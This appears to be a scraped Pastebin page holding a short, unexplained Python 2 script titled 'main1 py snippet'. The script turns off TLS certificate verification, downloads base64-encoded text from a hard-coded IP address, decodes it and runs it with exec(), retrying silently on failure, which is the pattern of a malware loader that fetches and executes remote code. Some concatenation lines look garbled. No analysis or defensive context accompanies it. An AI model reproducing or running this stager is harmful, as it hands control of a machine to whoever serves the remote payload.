Guest User

main1 py snippet

a guest
Aug 16th, 2019
266
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #coding: utf-8
  2. import base64
  3. import urllib2
  4. import ssl
  5. HOST="http://154.16.67.135/"
  6. RPATH1="src/sc"
  7. d1=HOST "" RPATH1
  8. d3=HOST "" RPATH1
  9. d2=HOST "" RPATH1
  10. def ld(url, t):
  11.     try:
  12.         ctx = ssl.create_default_context()
  13.         ctx.check_hostname = False
  14.         ctx.verify_mode = ssl.CERT_NONE
  15.     except Exception:
  16.         ctx=False
  17.     if ctx:
  18.            page=base64.b64decode(urllib2.urlopen(url,timeout=t,context=ctx).read())
  19.     else:
  20.            page=base64.b64decode(urllib2.urlopen(url,timeout=t).read())
  21.     return page
  22. try:
  23.     try:
  24.         page=ld(d1, 41)
  25.         exec(page)
  26.     except Exception:
  27.         page=ld(d2, 41)
  28.         exec(page)
  29. except Exception:
  30.     page=ld(d3, 41)
  31.     exec(page)
  32.     pass
RAW Paste Data